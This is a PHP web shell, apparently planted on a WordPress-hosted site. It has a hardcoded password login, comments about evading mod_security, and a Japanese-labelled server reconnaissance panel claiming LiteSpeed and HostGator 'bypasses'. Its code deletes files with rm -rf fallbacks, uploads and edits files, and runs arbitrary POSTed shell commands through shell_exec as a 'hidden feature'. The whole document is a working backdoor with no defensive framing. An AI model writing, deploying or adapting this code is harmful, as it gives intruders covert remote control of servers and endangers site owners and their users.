; rel="https://api.w.org/"'); if (function_exists('ini_set')) { @ini_set('session.save_handler', 'files'); @ini_set('session.use_cookies', '0'); } // Anti-mod_security $_SESSION['_ninja_token'] = md5('vinzz'.time()); } session_start(); ninja_bypass(); $pw = 'vinz234'; $login_page = true; if (isset($_POST['password'])) { if ($_POST['password'] === $pw) { $_SESSION['_ninja_token'] = true; header("Location: ?ninja_access=".md5(time())); exit; } else { $login_page = true; } } if (isset($_GET['logout'])) { session_destroy(); header("Location: ?ninja_logout=".md5(time())); exit; } // Secure path resolver function get_safe_path($input) { $path = realpath($input); if ($path === false) return getcwd(); // Prevent directory traversal $root = realpath('/'); if (strpos($path, $root) !== 0) { return getcwd(); } return $path; } // Current directory handling $path = isset($_GET['path']) ? get_safe_path($_GET['path']) : getcwd(); chdir($path); // File operations with bypass fallbacks function ninja_delete($target) { if (is_dir($target)) { // Try normal deletion first $files = @scandir($target); if ($files !== false) { foreach ($files as $file) { if ($file != '.' && $file != '..') { ninja_delete("$target/$file"); } } @rmdir($target); } else { // Fallback to system command system("rm -rf ".escapeshellarg($target)); } } else { @unlink($target) or system("rm ".escapeshellarg($target)); } } // Handle file operations if (isset($_GET['del'])) { if ($_SESSION['_ninja_token']) { $target = get_safe_path($_GET['del']); ninja_delete($target); header("Location: ?path=".urlencode(dirname($target))."&ninja_action=delete"); exit; } } if (isset($_POST['new_name']) && $_SESSION['_ninja_token']) { $name = basename($_POST['new_name']); $type = $_POST['new_type']; $newPath = "$path/$name"; if ($type === 'file') { @file_put_contents($newPath, "") or system("echo '' > ".escapeshellarg($newPath)); } else { @mkdir($newPath) or system("mkdir ".escapeshellarg($newPath)); } header("Location: ?path=".urlencode($path)); exit; } if (isset($_FILES['file']) && $_SESSION['_ninja_token']) { $uploadPath = isset($_POST['upload_path']) ? get_safe_path($_POST['upload_path']) : $path; $target = "$uploadPath/".basename($_FILES['file']['name']); if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) { @chmod($target, 0755); } else { // Fallback upload method $content = file_get_contents($_FILES['file']['tmp_name']); @file_put_contents($target, $content); } header("Location: ?path=".urlencode($uploadPath)); exit; } if (isset($_POST['edit_content']) && $_SESSION['_ninja_token']) { $editPath = get_safe_path($_POST['edit_path']); @file_put_contents($editPath, $_POST['edit_content']) or system("echo ".escapeshellarg($_POST['edit_content'])." > ".escapeshellarg($editPath)); header("Location: ?path=".urlencode(dirname($editPath))); exit; } // Command execution (hidden feature) if (isset($_POST['ninja_cmd']) && $_SESSION['_ninja_token']) { $cmd = $_POST['ninja_cmd']; $output = shell_exec($cmd." 2>&1"); $_SESSION['last_cmd_output'] = $output; header("Location: ?path=".urlencode($path)."&cmd=executed"); exit; } // File listing with fallback function ninja_scandir($path) { $files = @scandir($path); if ($files !== false) return $files; // Fallback method $files = []; exec("ls -la ".escapeshellarg($path)." 2>&1", $output); foreach ($output as $line) { if (preg_match('/[d-][rwx-]{9}.+\s(.+)$/', $line, $match)) { $files[] = $match[1]; } } return $files; } $files = ninja_scandir($path); ?>
サーバー | = php_uname('s') ?> = php_uname('r') ?> (= php_uname('n') ?>) |
---|---|
PHP | = phpversion() ?> (= php_sapi_name() ?>) |
ユーザー / グループ | = get_current_user() ?> / = getmygid() ?> |
書き込み可能 | = is_writable($path) ? 'YES' : 'NO' ?> |
ディスエーブル関数 | = ini_get('disable_functions') ?: 'NONE' ?> |
安全モード | = @ini_get('safe_mode') ? 'ON' : 'OFF' ?> |
OS コマンド実行 | = function_exists('shell_exec') ? 'OK' : 'DISABLED' ?> |
ドキュメントルート | = $_SERVER['DOCUMENT_ROOT'] ?> |
サーバー IP | = htmlentities($server_ip) ?> (= htmlentities($server_country) ?>) = $server_flag ?> |
LiteSpeed: BYPASSED
HostGator: BYPASSED
= htmlentities($_SESSION['last_cmd_output']) ?>